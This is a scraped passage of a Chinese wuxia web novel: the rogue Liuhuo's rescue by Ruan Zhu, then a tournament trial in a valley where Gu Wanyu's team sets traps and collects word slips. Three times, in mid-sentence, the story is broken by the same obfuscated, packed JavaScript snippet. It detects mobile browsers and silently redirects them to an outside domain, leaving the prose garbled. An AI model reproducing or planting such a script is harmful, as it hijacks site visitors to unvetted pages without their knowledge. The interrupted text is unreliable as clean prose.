妇女见自家儿子带回来一个相貌丑陋的男人,大惊失色,连忙上前把儿子抢回来护在身后,连退几步,害怕地说:“你……你要做什么?” “我听说你患了破伤风,特来送一副配好的药,能治好你的身体。”男人从怀中掏出油纸包裹的一小袋敷贴药材,向妇女递出。 妇女却摇摇头,绝望道:“我没有钱买。” “不要钱。”男人笑起来,“我是在做好事,给我个机会。” 尽管妇女觉得眼前的人十分可疑,但她实在太希望能把伤治好,于是便点头同意了。 妇女将儿子赶回屋中,才掀起腿上包裹着的布块,露出其下溃烂的皮肉与纵深见骨的伤痕。 男人夸她:“真能忍痛。”便蹲下身子,拿出准备好的用以包扎上药的布巾。 他以火烫过匕首,锋利的刀尖在灵巧的手指间翻飞,替妇女削下腐肉,再将药贴置于干净的布巾上,一层层缠上去。一边熟练地做着,他一边问道:“这是怎么弄的?” “被我男人用钉锤打的。”妇女虽然身体虚弱,眼前一阵阵发昏,却仍然咬牙坚持着,挨过阵阵剧痛。 男人脸上的表情并没有波动,似乎只是随口一问:“那他现在人在哪里?” “不知道……可能死了,也可能在逍遥快活吧……” “你要不要委托我?”男人突然抬起头来,问道,“我可以帮你查你男人的下落,不管他是死是活。” “不要钱。”男人又补充道。 “好。”妇女颤抖着手,擦去剧烈疼痛逼出的冷汗,“要是他还活着,你就帮我杀了他。” 将伤口处理好之后,男人就说自己要离开了。临走时,他特意进屋找了小孩一趟,告诉小孩,自己的任务已经完成了。 “叔叔,我妈妈真能好起来吗?”小孩眼中蓄满了害怕的泪水。 “当然,她要是没好,你就来找我。”男人把一颗小纸团塞进小孩的衣襟里,那上面写了他的住处。 走出这家荒芜的院子之后,男人摘掉紧绷着密不透风的皮面具,赫然露出一张俊美无俦的脸庞。他回头再看了一眼这贫破之地,露出一个带着邪气的笑容。 又接到委托任务了呢。 对于以“流火”这个代号行走江湖的他来说,没有什么事是一定不能做的。正因为他肆无忌惮、胆大包天,又从不要一分一毫的报酬,不被权贵招徕,他才能以一个堪称恐怖的速度名扬江湖,让自己的代号在许多令富人惊恐的坊间传说中出没。 流火年轻、邪性、无畏,他确信自己与其他宵小之徒不一样。他把江湖当成自己的试炼场、后花园,并自信地认为自己一定能笑到最后、全身而退。 只要当时不被抓到就好,事后再易容逃上一阵,这有何难? 流火没有想到的是,他行事太过高调嚣张,到底是逃不过大势力的追捕。 镜麓山下。 拖着残躯从密林中一路艰难走来的流火终是忍受不了那种弥漫全身的痛苦,他停了下来,背靠树干滑落在地,感觉神智飘忽不清,如烈火般灼烧的疼痛席卷全身,使他耳朵都嗡嗡作响,汗水与鲜血濡湿了衣裳。 该死的,那帮太清的狗对他用了毒,他在逃跑时不慎吸入了一些,便发作的厉害。 逃到哪里了……在这会被追上吧…… 流火的手指抠挖湿润的土壤,他极力想要撑起身子,继续奔跑不停,可不争气的脑袋却逐渐发昏,无法根据他心中的想法对身躯做出指令。 黑色的雾渐渐弥漫了视野,不甘心…… 在一阵剧痛所带来的轰鸣幻听之中,流火靠在树上,丧失了意识。 再次醒来时,一切都变了。 流火从温软的床榻之中醒来,天光黯淡从窗子的缝隙中透进来,空气中淡淡的微尘漂浮。 流火愣了一秒,发觉自己身上那种摧人心智的剧痛已经不翼而飞,不仅是如此,还被换了一身干净的衣裳,外伤也被包扎好了。 难道是谁救了他吗? 流火环顾四周,这屋中摆设清简风雅,入目皆是书籍茶具、纸墨笔砚,顿时令他心生好感。 既然已经不痛了,还是早点离开,莫要给人添麻烦。流火掀开被衾,翻身下床,却不小心撞到了床边摆着的一碗茶水。 他扶住额头,还是有点晕,身体变得笨拙了许多。 这时,门外有脚步声传来,流火身体一僵,下意识想要逃跑,却没来得及,正好撞见了推门进来的姑娘。 “诶?”阮竹没想到这个伤重昏迷的人已经能下地了,她差点撞到他,便抬头瞧他有没有事,“你还好吗?” 流火没想到这样的屋子属于一个姑娘,他倒退几步,下意识地去摸脸上的皮面具。 已经没有了,是他自己的脸。 糟糕,居然把相貌暴露在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840158|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人面前……流火懊恼地皱眉。 “你在找面具吗?”阮竹好奇地问,“我用布包起来放在花盆里了,因为有点……恶心……” “……哦。”流火挠挠头,“是有点恶心。” 阮竹便笑了,她让流火赶紧坐下,她去端些吃的过来。 饿是很饿了,流火没有矫情地拒绝,他吃得很欢。 一边吃,他还一边问:“这是哪里?” “镜麓庄,我去巡山时看见你倒在林子里,就把你背回来了。”阮竹撑着脸看他,“你招惹了什么样的仇家,给你下那样厉害的毒?” 听见自己是被人家姑娘背回来的,向来狂放不羁厚脸皮的流火难得地脸红了,他用饭碗挡住自己的脸,闷声说:“太清。” “这样。”阮竹点点头,倒也没有追问他与太清具体有什么恩怨。 就这样,流火就暂时在阮竹的院落中住下养伤了。他本来是想马上走的,但阮竹担心他毒势又复发,强留他在此。 好吧,也不算强留,有一半原因是流火自己也不太舍得走。 漂泊久了,难得有一处温暖的屋舍和温柔的人,愿意承载顽劣又孤僻的自己,就算强留下来显得有些无耻也罢了。 流火独自闯荡江湖,多少有些孤陋寡闻,他在镜麓庄住了一段时间,才发现这里的资源如此丰富,财力如此雄厚。 据说他中的毒是一种奇毒,非寻常医生可解,但镜麓庄奇花异草数不胜数,阮竹拿着管药师要来的药方,便能自己熬药给他压制毒性。 为了报答,流火简直成了阮竹的御用小厮,阮竹让他做什么,他就做什么,绝无二话。 与以前叛逆不经的那个他形成了鲜明的对照。 镜麓庄其他弟子不太乐见这个来路不明的人成天缠着他们的师姐。但流火身手好,嘴巴又厉害,庄内难有能打得过他、骂得过他的人。 流火唯一对付不了的人就是闫鹘,这个人的武功之高强,简直不像凡人,而且性格还冷冰冰、阴恻恻的,正好是流火不擅长相处的类型。 但闫鹘作为下一任庄主的第一候选人,成天忙得很,有各种大事要做,哪有空去管他,于是流火在镜麓庄内的生活异常舒服安逸。 每每有弟子向阮竹抱怨、说流火的坏话,阮竹都笑着安抚,解释道流火中的毒彻底解了之后就会离开。 流火在阮竹身后得意洋洋,狗尾巴翘得高极了,实在是非常欠揍。 然而,令阮竹和流火没有想到的是,还不等流火解除毒性告别离开的那天到来,太清的人就找上了门。 他们对镜麓庄倒还客气,只要求镜麓交出流火。 有弟子嘴快,说是的确有这么个人待在庄中,于是太清便不依不饶,非要流火出来。 听闻此消息的阮竹一惊,连忙把在后山摘草药的流火叫回来,问他到底与太清有什么纠葛。 “没什么,”流火满不在乎,“就是偷了他们的一味药材‘东海玉生烟’。” 阮竹无奈。这所谓的东海玉生烟其实就是老蚌结出来的珍珠,被泥浆包裹成壳,百年后重新被人取出,那在海水中化开的淤泥如烟气一般缭绕,重见天日的珍珠像玉石一般剔透。 确实是世间罕见的宝贝,但对于见多识广的镜麓庄中人来说……不值得如此大动干戈。 25. 雨打芭蕉(12) “那你把玉生烟交出来还给他们,不就好了吗?”阮竹推推流火,“他们追杀你居然只是为了这个?” “没了,交不出来。”流火摊摊手,“要交你就把我交出去吧。” “什么话。”阮竹无奈地看着他,追问了一通,才明白整件事情的原委。 听完流火的讲述,阮竹心中其实并不完全赞成流火的做法,但若要把流火交给太清处置,也是她绝不愿意的。 阮竹沉思片刻,才说:“既然如此,我们离开镜麓吧。” “……”看着阮竹一脸云淡风轻的样子,流火简直不敢相信自己听到了什么:“你说什么?” 她要带自己逃跑吗? 这……这这这是什么意思。 流火僵住了,而阮竹淡淡地说道:“既然你已被太清发现,我也不好再留你在镜麓给大家添麻烦,正好我本就打算出门游历一番,我们结伴而行吧。等你身体里的毒彻底清除,你就可以自由行动了。” “哦,行啊。”流火松了一口气,又有点说不清楚的小小失落。 于是事情便这么随意地定了下来,闫鹘打发走了不依不饶的太清,对要离开的两人没有发表任何意见。 阮竹走的那天,镜麓庄内群情激奋,大家乍一听她要离开镜麓庄,都以为自家亲爱的师姐要被拐跑了,一个个痛彻心扉的同时对流火视若仇敌。 直到闫鹘出面制止这场闹剧,向众弟子解释清楚阮竹只是出门游历,顺便在外为镜麓处理一些外务,镜麓庄内的骚动才平息下来。 但这不妨碍所有人依然都看不惯流火。 流火也懒得理他们,他骑在骏马上志得意满、精神饱满,被镜麓庄的丰盛伙食和怡人的自然环境养得很好。 叫众弟子看着更生气了。 - 件件往事依依在目,令人难以忘怀。 明明不久前,一切都还是如往常那样的平静美好,为何事情会突然演变成现在这样呢? 流火君双眼无神地跟在疯子前辈身后走着,安安静静地,与周围喧嚣的人群形成了鲜明的对比。 “流火君,”顾婉妤喊他,“你打起精神来!” “哦。”流火君点点头,拍拍自己的脸颊,“好。” 成为武林盟主的人也会成为阮竹的夫婿吗…… 他有些恍惚。 “流火君!”顾婉妤生气了,大比很难,需要人人都全神贯注,他们现在正在去往第一关的路上,流火君像丢了魂一样,这算什么? “不想失去阮竹姐的话,就靠自己去争取。”她狠狠锤了一下流火君的后背,“专心一点!” “咳咳……”流火君扶住肩膀,弱弱地回答,“好……” “你也别太紧张了,”疯子前辈回头看他们,“第一关有我们在,肯定不会出问题。” 隐一也捏着自己的拳头挥舞几下,给流火君打气。 天下大比的第一个关卡,考察的是团队协作。所有参加大比的人自由组合,最多可五人一组,最少则允许单打独斗。现在阮竹姐恐怕不方便加入他们了,于是他们四个人便组成一队,用疯子前辈手里的那枚玉签报名。 众人聚集在深谷的入口处,眼前是一片枝叶茂密、地形天然封闭的广阔谷地。一名镜麓庄的弟子站在高处,手中举着一只通体雪白、尾部绑有银制镂空小球的虫进行讲解。 “此虫名为‘冰魄’,喜食石果,遇到大小、甜度皆合适的果子,便咬个小洞钻进去栖息。谷中随机生长着许多石果,若有冰魄在内,可以看到尾部的小球坠在果皮外面。” 弟子取下手中这只冰魄尾部的小球,打开,将其中的东西展示给众人看:“有些小球内部是空的,有些则装了写着字的纸条。一支队伍凑齐‘天、地、人’三字才算作过关,需从谷中穿过,从对面的出口处出谷。” 说完,便有几名镜麓弟子推了虫箱上来,打开箱门,一团团的冰魄从箱中飞出,飞向谷中,如同颗颗悬浮于空的白色宝石,很快便消失不见。 粗略一看,大抵有千只。 虽然冰魄的数量众多,但顾婉妤仍有些担忧,这关真是不简单,要找齐三个字已经不容易,更何况还得穿过整片谷底密林,路上不知道有多少人埋伏着等待抢夺。 “时间限于今夜子时,子时过后我们会派人进谷巡查,若有想要中途弃权的,可自行隐藏身形踪迹,待到子时后同我们一道出谷,可保性命安全无虞。” “好了!来排队进谷!” 这名弟子一声令下,人群便移动起来,汇成一道溪流缓缓挪动着脚步。 顾婉妤一行人也打起了精神。这个关卡阮竹君已偷偷与他们讲过了,顾婉妤带头提前商量了过关的策略。四人中其他人的脑子都指望不上,她现在就是这只队伍的绝对领袖。 因为他们的武功不是最高强的,体力上也稍显弱势,因此必须扬长避短,采用最简单高效的方法。 “第一招,蛊虫联络,分散搜寻。” 他们排队进谷的位置不前不后,既无明显优势,也无特别劣势。踏进密林之后,高大茂密的树冠遮天蔽日,放眼望去哪有什么虫子和果子的踪影? 进谷后各支队伍逐渐分散,绝大部分人还处于一心寻找冰魄的阶段,少有人露出明显敌意对别人贸然出手的,是一个相对安全的时间。 顾婉妤早早便瞅准了这段关乎胜败的黄金时间,她把四人两两分开,自己和疯子前辈一道,隐一和流火君一道,各自去寻找冰魄。 分别前,顾婉妤再次强调:“一定要注意好蛊虫的动静,不管是找到了冰魄还是遇到无法应付的敌袭,都要马上传递消息!” 是的,为了应对这一关,顾婉妤专门找阮竹君借来了能够在这等幽深谷地里不引人注意地传递消息的道具——欢喜蛊。 欢喜蛊本是用于下毒的毒蛊,一对蛊虫在培养过程中同生共死,渐渐就具有了极强的感应。若一只进入了人体,下蛊人便可使用另一只隔空进行操控,直叫那中了蛊毒的人肝肠寸断,求生不得求死不能。 而顾婉妤恰是看准了这种感应能力。她和隐一各自带了一只蛊虫在身上,分头行动时,若哪方遭遇了意外或者寻到冰魄,就可摇动蛊盅,另一方的蛊虫也会活动起来。 这样就可以马上赶去支援。离得越近,蛊虫反应越大,活动得越剧烈。 疯子前辈在前方开路,顾婉妤紧跟其后,两人极快速地穿行在密林中。 疯子前辈时不时就不放心地回头看看,生怕除了轻功其他什么武功也不会的顾婉妤受伤出岔子。 “我要是有什么不对劲会马上叫你的,疯子前辈。”顾婉妤笑着宽慰他。 “嗐,麻烦。” 为了取胜,首要目的就是先找到一只冰魄。一路上连石果都很难见到,更别说冰魄了。 石果之所以名为石果,是因为它皮质异常坚硬,所以种子也不容易通过自然腐烂穿透外皮进行繁殖。 “这样不行。”顾婉妤及时发现了闷头乱走就是纯碰运气,她叫住疯子前辈等一等她,就蹲下来触摸土壤。 这密林里植物繁多,大大小小的根系遍布地下,而石果生长需要水分,或许土壤更湿润的地方更容易找到它们。 “疯子前辈,你有办法在这密林中寻找到水源的所在吗?”顾婉妤问。 疯子前辈自信地重重点一下头,一脸“你可算是问对人了”的表情,掏出个铜黄的罗盘来。 ? 顾婉妤迷惑了,这是要算风水? 只见疯子前辈转动罗盘,两指作势在空中以诡异的路径挥动,嘴里还念念有词。 真是靠算啊…… 罗盘慢慢停转,指向了一个方向。 “走!”不疑有他,疯子前辈果断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841939|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带路向前。 走着走着,耳边便能听到湍急的水流声,再前赶一段,二人眼前顿时豁然开朗。 阳光透过水光泼洒下来,空气中湿润润的水雾蔓延,居然是一处断壁瀑布。 这么灵!?顾婉妤震惊了。 疯子前辈得意洋洋:“在外流浪的时候全靠我找水喝。” 好吧…… 两人在瀑布边搜寻一通,果然真看到了一株石果,它饱满低垂的棕色果皮上坠着一只闪光的银球,熠熠夺目。 顾婉妤当即晃动怀中蛊虫。怕隐一感受不到,她特意使劲多摇晃了好一会儿。 “第二招,制造陷阱,守株待兔。” 这林中飞进那么多冰魄,就算再难找,大部分人总也该有所收获。 但找到一只不代表就可以过关,凑齐天、地、人,难度可是非同小可。 与其到处奔波浪费体力,不如好整以待迎接别人“送字上门”。 更何况他们这里还有精于暗杀的两位专业人士,埋伏、出手、一击制敌,不在话下! 两人立马围着这株石果做起了陷阱,幸好顾婉妤反应快,及时想到要来水边看看,疯子前辈又有一手找水的绝技。水源处必然会有人前来,就算不找石果,也要饮水休整。他们成功地先一步制造了优势。 陷阱准备就绪,两人便隐身潜入树林深处。 没多久,顾婉妤也感受到了怀中蛊虫的活动,看来流火君和隐一要到了。 顾婉妤对疯子前辈打个手势,要他注意些别让自己人踩了陷阱。林间簌簌风声中传来些细微的动静,似乎有人来了。 枝叶摇动,出现的人却不是自己人。三个陌生的男子从林间走出来,其中一人说着“有水”,便靠近瀑布取下水囊接水。 另外两人在后面警戒。 顾婉妤紧张得大气不敢出,这种经历实在是头一遭!他们会发现那株石果吗? 一旁,疯子前辈淡定地掏出个铜片,对光一闪。 警戒的两人敏锐地发现了光线的变化,他们便向有光之处看去。 “这有石果!” 真是得来全不费工夫,两人狂喜,就要上去摘。 下一秒,却有钻心的痛楚从下传来,顿时传遍全身。 “兽夹!” 没中招的那个人马上去扶小腿被坚硬兽夹贯穿的同伴,许是身体晃动的幅度大了一些,他的衣角碰到了地上拉的绳子。 一张大网从土壤之下悍然升起,把两人包裹起来吊上树。 “补刀!”顾婉妤焦急地说。 疯子前辈闻声马上出手,两把飞刀角度刁钻,精准穿透网绳,切进落入陷阱之人的胸膛。 顾婉妤眼见着鲜红血液从刀口处涌出来,浑身一凛。 “没事,死不了。”疯子前辈补充道。 取水的人已经扔了水壶,他没有贸然上前靠近顾婉妤和疯子的藏身之地,而是从胸口掏出了个东西。 指间脆生生的石头碰撞声一响,火花乍现,他以手点燃。 “不好,是火药!” 这火药弹是大景军中的火药营才能使用的东西,威力极大,严禁流入民间,怎会出现在这里! 坏了,要是被炸到,必定血肉横飞,林子也会烧起来! 但是他们之间的距离太远了!疯子前辈咬牙甩出飞刀,却已然来不及,这人扳动了火药弹的弹板! 下一秒,一个肉眼几乎无法捕捉的黑影一闪而过,火药弹被打落到旁边的瀑布中,而使用者也被掀翻在地。 流火君! 流火君来的正是时候,他压在此人身上,干净利落地一个错手,喀啦一声,便令其断了气。 隐一追在后面姗姗来迟,满头大汗。 流火君站起来,一身肃杀之气,对目瞪口呆的顾婉妤和疯子前辈说:“我的身手确实还没退步。” 26. 雨打芭蕉(13) “死……死人了吗?”顾婉妤惊魂未定,视线落在一动不动躺在水边的人身上。 “这也是难免的。”疯子前辈拨开树丛走出去,“武林大比向来是这样你死我活,不要太放在心上。” 话虽如此,顾婉妤还是难以置信,片刻之间就见到一条活生生的生命在眼前陨落。她慢慢地走过去,而其他人已经在搜身了,连年纪小小的隐一面上都没有任何异常。 “有一只空的球。”流火君在此人腰间搜出一只镂空小球,里面并没有写了字的纸条。 疯子前辈把吊在树上已经昏迷的两个人放下来,仔细找过。 “师父,在这里。” 隐一找到了那张写着“人”字的纸条,原来不是没有,而是被他们藏起来了,藏在其中一个人衣服内侧的布袋中。这个字以镜麓特制的墨汁写成,黑色中夹带着金色的细碎斑点,遇水不晕,他人肯定无法仿制。 幸好,来的这几个人身上带着他们需要的东西。若是这样折腾了一顿、杀了一个人,还一无所获的话,不免令人大失所望。 疯子前辈见顾婉妤脸色不好,就让她离远一点去休息,他们来处理尸体。 顾婉妤摇摇头,忍住不适坚定地站在原地。 他们动作很快,将尸体和受伤昏迷的人都捆起来搬到瀑布之后的岩石堆中,还封上了嘴。 即便是这样做好了处理,顾婉妤也还是提出若在此停留的时间太久,他们就必须得转移,以防万一。 “都听你的,你说啥是啥。”疯子前辈点头赞成。 重新布置好了陷阱,而且现在有三个能打的了,像刚才那样出现一个漏网之鱼的概率就小了很多,风险也随之降低。 得益于顾婉妤选择的这个良好地理位置,他们生意颇好,没过一会就又来了一伙人。 但这伙人身上没有一穷二白,什么都没有。 因为他们没有做过多的挣扎,所以在落入陷阱之后,疯子前辈也没有再对他们补刀,顾婉妤趁此连忙问了问外面的情况。 “都打起来了,乱成一锅粥。”领头的人说道,“尤其是那几个大门派,见谁咬谁,我们的字条全被抢走了。” 果然如此,大门派来的人多,组成的队伍也多,同门队伍之间进行合作人多势众,的确不怎么公平。 不过是人就总是会累的,顾婉妤他们在此保存体力、伺机而动,等到后面未必不能找到机会趁虚而入。 不久后,第三拨人来了。 这次真的巧,来的人正好是流火君的老仇家——太清宫。一共5个人,看起来都刚刚才经历了一场大战。 顾婉妤眼前一亮,这些人身上估计会有字条。 先前被绑起来的那些人看着太清宫来了,也眼热起来,他们嘴上被贴住说不了话,就在地上扭动扭动想要引起疯子前辈的注意,好一起给太清宫点颜色瞧瞧。 疯子前辈不堪其扰,暗地里挨个踹了一脚,用气声训斥道:“老实点!” 太清宫的人怎么着应该都有点实力,因此疯子前辈和流火君都提起精神,做好了陷阱没成功立马救场的准备。 不料这伙人没给他们救场的机会,无一例外地全踩中了陷阱。 埋在地下的大网一拉,疯子前辈和流火君就从树林之中跳出去,挨个揍了一顿。等这些太清宫的人脸肿成猪头后,终于不堪拳脚交出了抢来的字条。 顾婉妤远远看着,感觉流火君下手格外重,很难说没带着私人情绪。 不愧是太清宫,五个人身上有两张“天”、一张“人”,真是富有。 “走吧,我们该走了。”顾婉妤催促道,“太清的其他队伍若是发现自己人不见了,说不定会来找。” 拿走那个仍缀在石果外闪闪发光,帮了大忙的银制小球,顾婉妤一行人马上转移了。 打开这枚球,里面是空的。一枚空球换了四张字条,真值。 顾婉妤感慨,现在他们有两张“天”、两张“人”,若是能换出去换到一张“地”就好了。 疯子前辈却说,不用那么费事,等我马上抢一张“地”过来。 “流火、隐一,你们照顾好她。”疯子前辈扔下一句话,就独自跑走了。 “喂!”顾婉妤有点着急,“一个人去也太危险了!” “师父最擅长的就是暗杀了。”隐一踮起脚来,拍拍顾婉妤的脑袋以示安慰,“他藏起来之后其他人发现不了的。” 这样吗。顾婉妤叹了口气,是不是疯子前辈不想让她再见血,所以才独自走出去了呢? “别多想了。”流火君也说,“我们也隐藏起来,等他回来吧。” 三人怕走远了疯子前辈回来找不到他们,就在附近找了一棵巨大的树攀了上去,隐藏在浓密的枝叶当中。 现在天还亮着,距离子时还有很久很久,真是难熬啊。 顾婉妤闭上眼睛,稍作休息。 等她再睁开眼睛,却是被树下的一阵喧嚣吵醒了。往下看去,居然是十分眼熟的一伙人,厚重黑衣与兜帽之下,是被严密遮挡起来的面孔。 这不是宿影楼的人吗! 只是他们现在的状态与那日在镜麓镇上趾高气昂、踌躇满志的样子截然相反,有许多人受了伤,行动不便,整体气氛也很低迷,士气大伤。 这是被哪个门派弄成了这样?很快,顾婉妤知道了问题的答案。 因为厮杀声又由远至近地响起来了,一群装束暴露、身着红衣的人跟在宿影楼之后紧追不舍,他们人数众多,一起行动,使本就勉力支撑的宿影楼更加难以应对。 看这奇特的穿着便知来人是邪霞派,邪霞和宿影楼有什么恩怨吗? 宿影楼的现任楼主刃三武力深不可测,但即便如此,他也无法一人招架这么多追兵。刃三当先一步挥砍长刀,雄厚内力顿时逼退一群邪霞弟子,他阴鸷的眼睛盯紧对面的首领:“要战便战。” 闻言,邪霞的长老走了出来,冷笑一声:“今日必要将你们杀光。” 长刀与刺锤撞在了一起,强烈的内力爆发相抗,冲击力使一旁离得近的弟子站都站不稳了,连顾婉妤他们藏身的树都随之摇晃起来。 邪霞弟子举起手中武器振臂高呼,士气大涨,攻击得更加凶猛了。 “隐一,邪霞和宿影楼有什么恩怨?”顾婉妤连忙问。 她不太清楚疯子前辈对宿影楼还有没有旧情,若是宿影楼今日真在此地全军覆没,顾婉妤他们就得赶在这事发生之前试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14851059|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试看能否救宿影楼一把。 真是不想掺和进去。顾婉妤咬牙,她又不是什么圣母,还要见谁遇难都帮忙。 “我也不清楚。”隐一小声说。 他年纪小,宿影楼离开的时间也早,对下面这些陷入苦战的师兄们没什么特别的感情,因此见到宿影楼受袭,他还没有顾婉妤的反应来得大。 流火君也一动不动,并未做声,看来是不打算插手。 好吧,那就这样作壁上观吧。顾婉妤别过脸去,不想看下面这残酷的战场。 却不料,一道混不吝的熟悉声音陡然在空中炸响:“刃三,你这混蛋终于知道自己做错了吧!” 疯子前辈来了! 顾婉妤和隐一连忙扒在树上往下看,疯子前辈竟是要救宿影楼吗? 疯子前辈善使暗器,出手又狠辣,他一来便放到了好几个邪霞之人,飞身进入战场中央。 “刃九,这没你的事!”宿影楼主正与邪霞长老大开大合地拼杀,他大声怒吼,“你已经不是宿影楼的人了!” “滚!老子不管你们,宿影楼都要在这死完了!”疯子前辈一边怒骂,一边不讲武德地试图从背后偷袭邪霞长老,可惜马上被邪霞弟子发现挡了下来。 “邪霞怎么来了这么多人!”疯子前辈狠狠骂道,不得已边战边退。 “我要去帮师父!”隐一见师父也陷于苦战,马上跳下树。 “这……”顾婉妤没有立场阻止隐一,她马上抬头观察天空。 天空漆黑,星星也已经升了上来,距离子时已经近了。 “我也下去帮帮他们。”流火君凑过来说,就要和隐一一样下去。 “不!”顾婉妤这次果断拉住他,“不行,从这里到出谷还有很长一段路,其中也不知道会有什么变数,别忘了,最重要的事情是什么!” 流火君点头:“听你的,那怎么做?” 顾婉妤问他:“字条都在你身上吗?都揣好了吗?” 流火君拍了拍胸膛。 “好。”顾婉妤深吸一口气,突然转头朝下面大喊,“疯子——” 这一嗓子惊起了好多人,他们在下面混战了这么久,才发现树上还有人。 “咋了!”疯子前辈也大喊回话。 “‘地’字条——有了吗——” “那当然。”疯子前辈沉着一哂,将他单独出去抢来的那颗小球夹在指尖,弹指便朝顾婉妤他们扔去。 “来了来了!”顾婉妤惊喜道,一旁的流火君连忙接住这枚珍贵的小球。 打开确认,是他们缺少的最后一张“地”字条。 “第三招,金蝉脱壳,走为上计。” “你走!”顾婉妤急切地对流火君说,“你一个人出了谷就算过关!什么也别管,什么也别想,能跑就跑,能躲就躲,一定要在子时之前顺利逃出谷,快走!” 流火君怔住了,他看着树底蠢蠢欲动的邪霞弟子,说:“他们要上来了。” “我哪能让他们抓住!小瞧我了!”顾婉妤推他,“本姑娘别的不会,最擅长用轻功逃命!” 流火君咬牙,终于点了点头:“好!我走了!” 他揣着所有的字条,飞快地消失在夜色中。 27. 雨打芭蕉(14) 子夜时分,林中有空灵的鸦叫声,周围黑漆漆的一片,只有火把的光随风跳动,映出幢幢阴影。脚下土壤湿润,树木上有红色的血迹,衬得林中氛围愈发妖异。 顾婉妤、疯子前辈、隐一,还有一帮宿影楼的杀手们,他们满身狼狈、步履蹒跚,小心翼翼地穿行在这黑暗的森林中。 “还有多久到出口?”疯子前辈捂着自己被砍伤后使不上力的右手,不耐烦地问。 “快了,别催。” 宿影楼楼主刃三领头走在最前面,在与邪霞死斗的过程中他受了内伤,经脉受损,出口说话时气息不太平稳。 顾婉妤一个不留神,脚下被树枝绊了一下,身旁的人连忙扶住她。 “我没事。”顾婉妤赶紧道谢。 她应该是这群人中受伤最轻的了,只是在林中逃命的过程中因着自己不小心才受了些皮外伤。当时邪霞派看她不是宿影楼的人,就没有穷追不舍,放任她逃远了。 “邓师姐要是看你受伤,应该会很心疼。”扶住她的人温声道。 流火君带着所有字条逃走之后,没有后顾之忧的疯子前辈和隐一更是放开了手脚参战。宿影楼是杀手们聚集之处,杀手们本就时常要以命相搏地进行工作,如今虽然被人数多的邪霞占了上风,倒也不是没有一搏之力。 即便如此,宿影楼也的确是伤亡惨重。 事情发生转机,是在他们勉力支撑、边逃边战的几个时辰之后。邪霞也必须得快速离开,从出口处出谷了。 于是宿影楼众人的命还是幸运地保了下来。 当宿影楼的人知道今日被牵扯进来的顾婉妤居然是早年离开的邓师姐的女儿,都纷纷感叹时间过得真快。 既然如此,他们也把顾婉妤当成了自己人。 疯子前辈讥笑:“幸好师姐离开的早,否则教她看到你整出来的这些破事,还不知徒增多少烦恼。” 刃三面上虽无动摇之色,却也不像往日那样分毫不让地还嘴。看来以后宿影楼又会隐于江湖暗处,不轻易出来抛头露面了。 今日邪霞如此紧逼,起因也是宿影楼之前接下任务,暗杀了邪霞派中一名重要长老,才叫邪霞盯紧了这次难得的机会决意复仇。 随着时间过去,茂密得不见天日的森林透出了远处的光亮,林间也产生了小路,看来是终于要走到出口了。 此时已过子时,宿影楼必然全员淘汰,但这对他们来说应该是一件好事。 “明日我就带着众人回去。”刃三对疯子前辈说。 “哦,你们回呗。”疯子前辈随口答。 连顾婉都听出了刃三的弦外之音是想询问疯子要不要回归宿影楼,但他还是这么迟钝。 幸好还有一个懂事的隐一小朋友在。隐一抬脸问师父:“师父,我们也一起吗?” “什么话,当然不了。”疯子奇怪地看他,“咱们的人都还在上京呢。” “若你们想回来,也不是不行,无需特意赌气。”刃三开口。 “没想。”根本不需要思考,疯子前辈干脆地回答。 刃三也不再言语,沉默地往前走。 不远处逐渐能听到人声了,他们从层层密林中钻出,突然见到了高峰峭壁,而峭壁之间便是山谷的出口。 他们一同走了出去,在外等待的人眼中多是敌视,唯独角落里有两个人早早翘首以待,正是流火君和阮竹君。 “阮竹姐!”顾婉妤激动地跑过去,“你怎么来了?” “不放心,就来这里等着你们。”阮竹君摸摸顾婉妤的头,“受伤了吗?” “还好,小伤。”顾婉妤摆摆手。 阮竹君脸上写着担忧与歉意,对紧随其后一看便受了伤的疯子前辈和隐一说:“因这次镜麓庄的变故把你们牵扯进来,真是不好意思。” “不说这个。”疯子前辈回头看了一眼已经隐入人群默默离开的宿影楼,才放心地转过来对阮竹君说,“先回去休整吧。” 他们回到了住所,各自去疗伤休息。一路上流火君和阮竹君一直没有交流,连个眼神的交汇也没有。 顾婉妤觉得奇怪,就想单独问问阮竹姐。没想到还没等她开口,阮竹君就先一步跟她进了房间,似乎有事要讲。 “阮竹姐,有什么话要对我说?” 阮竹君点头,掏出一封信递给她:“今日收到了阿洋寄来的信,要我转交给你。” “诶?!”顾婉妤接过,没想到崔煜川居然会主动寄信过来。她拆开信纸,发现里面惜字如金,只问她能否来一趟绥金城帮忙,然后还在右下角加盖了个王爷的印章。 